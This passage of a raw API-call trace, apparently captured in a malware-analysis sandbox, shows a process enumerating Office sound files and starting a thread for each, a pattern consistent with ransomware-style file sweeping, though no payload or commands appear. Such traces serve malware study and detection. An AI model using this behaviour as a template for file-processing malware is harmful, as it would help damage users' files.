returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BOMB.WAV" [0097.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b867fc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1110 [0097.119] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106db200, ftCreationTime.dwHighDateTime=0x1bfc6e8, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x106db200, ftLastWriteTime.dwHighDateTime=0x1bfc6e8, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.WAV", cAlternateFileName="")) returned 1 [0097.119] wcscmp (_String1="BREEZE.WAV", _String2=".") returned 1 [0097.119] wcscmp (_String1="BREEZE.WAV", _String2="..") returned 1 [0097.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868040 [0097.119] wcscpy (in: _Dest=0x1b868040, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.119] wcscat (in: _Dest=0x1b868040, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.119] wcscat (in: _Dest=0x1b868040, _Source="BREEZE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\BREEZE.WAV" [0097.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114 [0097.120] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAMERA.WAV", cAlternateFileName="")) returned 1 [0097.120] wcscmp (_String1="CAMERA.WAV", _String2=".") returned 1 [0097.120] wcscmp (_String1="CAMERA.WAV", _String2="..") returned 1 [0097.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8680c0 [0097.120] wcscpy (in: _Dest=0x1b8680c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.120] wcscat (in: _Dest=0x1b8680c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.121] wcscat (in: _Dest=0x1b8680c0, _Source="CAMERA.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CAMERA.WAV" [0097.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8680c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118 [0097.121] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x1d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASHREG.WAV", cAlternateFileName="")) returned 1 [0097.121] wcscmp (_String1="CASHREG.WAV", _String2=".") returned 1 [0097.121] wcscmp (_String1="CASHREG.WAV", _String2="..") returned 1 [0097.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4650 [0097.122] wcscpy (in: _Dest=0x202a4650, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.122] wcscat (in: _Dest=0x202a4650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.122] wcscat (in: _Dest=0x202a4650, _Source="CASHREG.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CASHREG.WAV" [0097.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x111c [0097.123] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x91be, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHIMES.WAV", cAlternateFileName="")) returned 1 [0097.123] wcscmp (_String1="CHIMES.WAV", _String2=".") returned 1 [0097.123] wcscmp (_String1="CHIMES.WAV", _String2="..") returned 1 [0097.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868140 [0097.123] wcscpy (in: _Dest=0x1b868140, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.123] wcscat (in: _Dest=0x1b868140, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.123] wcscat (in: _Dest=0x1b868140, _Source="CHIMES.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CHIMES.WAV" [0097.123] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1120 [0097.124] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffbd3c00, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffbd3c00, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLICK.WAV", cAlternateFileName="")) returned 1 [0097.124] wcscmp (_String1="CLICK.WAV", _String2=".") returned 1 [0097.124] wcscmp (_String1="CLICK.WAV", _String2="..") returned 1 [0097.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8681c0 [0097.124] wcscpy (in: _Dest=0x1b8681c0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.124] wcscat (in: _Dest=0x1b8681c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.124] wcscat (in: _Dest=0x1b8681c0, _Source="CLICK.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\CLICK.WAV" [0097.124] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8681c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124 [0097.125] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef0cc600, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef0cc600, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0x15bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="COIN.WAV", cAlternateFileName="")) returned 1 [0097.125] wcscmp (_String1="COIN.WAV", _String2=".") returned 1 [0097.125] wcscmp (_String1="COIN.WAV", _String2="..") returned 1 [0097.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85f190 [0097.125] wcscpy (in: _Dest=0x1b85f190, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.125] wcscat (in: _Dest=0x1b85f190, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.125] wcscat (in: _Dest=0x1b85f190, _Source="COIN.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\COIN.WAV" [0097.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1128 [0097.126] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x4be2, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRUMROLL.WAV", cAlternateFileName="")) returned 1 [0097.126] wcscmp (_String1="DRUMROLL.WAV", _String2=".") returned 1 [0097.126] wcscmp (_String1="DRUMROLL.WAV", _String2="..") returned 1 [0097.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a46e0 [0097.126] wcscpy (in: _Dest=0x202a46e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.126] wcscat (in: _Dest=0x202a46e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.126] wcscat (in: _Dest=0x202a46e0, _Source="DRUMROLL.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\DRUMROLL.WAV" [0097.126] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a46e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c [0097.127] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x5c20, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLODE.WAV", cAlternateFileName="")) returned 1 [0097.127] wcscmp (_String1="EXPLODE.WAV", _String2=".") returned 1 [0097.127] wcscmp (_String1="EXPLODE.WAV", _String2="..") returned 1 [0097.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4770 [0097.127] wcscpy (in: _Dest=0x202a4770, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.127] wcscat (in: _Dest=0x202a4770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.127] wcscat (in: _Dest=0x202a4770, _Source="EXPLODE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\EXPLODE.WAV" [0097.127] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1130 [0097.128] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb836b000, ftCreationTime.dwHighDateTime=0x1bfc6e7, ftLastAccessTime.dwLowDateTime=0x53822dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb836b000, ftLastWriteTime.dwHighDateTime=0x1bfc6e7, nFileSizeHigh=0x0, nFileSizeLow=0xfbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="HAMMER.WAV", cAlternateFileName="")) returned 1 [0097.128] wcscmp (_String1="HAMMER.WAV", _String2=".") returned 1 [0097.128] wcscmp (_String1="HAMMER.WAV", _String2="..") returned 1 [0097.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85ef90 [0097.128] wcscpy (in: _Dest=0x1b85ef90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.128] wcscat (in: _Dest=0x1b85ef90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.128] wcscat (in: _Dest=0x1b85ef90, _Source="HAMMER.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\HAMMER.WAV" [0097.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ef90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134 [0097.129] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x72d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LASER.WAV", cAlternateFileName="")) returned 1 [0097.129] wcscmp (_String1="LASER.WAV", _String2=".") returned 1 [0097.129] wcscmp (_String1="LASER.WAV", _String2="..") returned 1 [0097.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f010 [0097.130] wcscpy (in: _Dest=0x1b85f010, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.130] wcscat (in: _Dest=0x1b85f010, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.130] wcscat (in: _Dest=0x1b85f010, _Source="LASER.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\LASER.WAV" [0097.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85f010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138 [0097.130] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b5dc00, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x5a7913b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4b5dc00, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x3d84, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUSH.WAV", cAlternateFileName="")) returned 1 [0097.131] wcscmp (_String1="PUSH.WAV", _String2=".") returned 1 [0097.131] wcscmp (_String1="PUSH.WAV", _String2="..") returned 1 [0097.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ef10 [0097.132] wcscpy (in: _Dest=0x1b85ef10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.132] wcscat (in: _Dest=0x1b85ef10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.132] wcscat (in: _Dest=0x1b85ef10, _Source="PUSH.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\PUSH.WAV" [0097.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ef10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c [0097.133] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eba3e00, ftCreationTime.dwHighDateTime=0x1bfa2b0, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3eba3e00, ftLastWriteTime.dwHighDateTime=0x1bfa2b0, nFileSizeHigh=0x0, nFileSizeLow=0x1664, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUCTION.WAV", cAlternateFileName="")) returned 1 [0097.133] wcscmp (_String1="SUCTION.WAV", _String2=".") returned 1 [0097.133] wcscmp (_String1="SUCTION.WAV", _String2="..") returned 1 [0097.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4800 [0097.133] wcscpy (in: _Dest=0x202a4800, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.133] wcscat (in: _Dest=0x202a4800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.133] wcscat (in: _Dest=0x202a4800, _Source="SUCTION.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\SUCTION.WAV" [0097.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140 [0097.134] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x6d56d990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb796bf00, ftLastWriteTime.dwHighDateTime=0x1bd8ab7, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TYPE.WAV", cAlternateFileName="")) returned 1 [0097.134] wcscmp (_String1="TYPE.WAV", _String2=".") returned 1 [0097.134] wcscmp (_String1="TYPE.WAV", _String2="..") returned 1 [0097.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ee90 [0097.134] wcscpy (in: _Dest=0x1b85ee90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.134] wcscat (in: _Dest=0x1b85ee90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.134] wcscat (in: _Dest=0x1b85ee90, _Source="TYPE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\TYPE.WAV" [0097.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ee90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1144 [0097.135] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdb8800, ftCreationTime.dwHighDateTime=0x1bfbeed, ftLastAccessTime.dwLowDateTime=0x7071e4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecdb8800, ftLastWriteTime.dwHighDateTime=0x1bfbeed, nFileSizeHigh=0x0, nFileSizeLow=0x35c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="VOLTAGE.WAV", cAlternateFileName="")) returned 1 [0097.135] wcscmp (_String1="VOLTAGE.WAV", _String2=".") returned 1 [0097.135] wcscmp (_String1="VOLTAGE.WAV", _String2="..") returned 1 [0097.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4890 [0097.135] wcscpy (in: _Dest=0x202a4890, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.135] wcscat (in: _Dest=0x202a4890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.135] wcscat (in: _Dest=0x202a4890, _Source="VOLTAGE.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" [0097.135] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1148 [0097.136] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b50b600, ftCreationTime.dwHighDateTime=0x1bc8d47, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b50b600, ftLastWriteTime.dwHighDateTime=0x1bc8d47, nFileSizeHigh=0x0, nFileSizeLow=0x6de, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHOOSH.WAV", cAlternateFileName="")) returned 1 [0097.136] wcscmp (_String1="WHOOSH.WAV", _String2=".") returned 1 [0097.136] wcscmp (_String1="WHOOSH.WAV", _String2="..") returned 1 [0097.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e610 [0097.136] wcscpy (in: _Dest=0x1b85e610, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.136] wcscat (in: _Dest=0x1b85e610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\" [0097.136] wcscat (in: _Dest=0x1b85e610, _Source="WHOOSH.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" [0097.137] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114c [0097.138] FindNextFileW (in: hFindFile=0x1cd9d310, lpFindFileData=0x1ce58ed0 | out: lpFindFileData=0x1ce58ed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcde5800, ftCreationTime.dwHighDateTime=0x1bfc6e6, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdcde5800, ftLastWriteTime.dwHighDateTime=0x1bfc6e6, nFileSizeHigh=0x0, nFileSizeLow=0x2b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="WIND.WAV", cAlternateFileName="")) returned 1 [0097.138] wcscmp (_String1="WIND.WAV", _String2=".") returned 1 [0097.138] wcscmp (_String1="WIND.WAV", _String2="..") returned 1 [0097.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85ee10 [0097.138] wcscpy (in: _Dest=0x1b85ee10, _Source="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA" [0097.138] wcscat (in: _Dest=0x1b85ee10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft 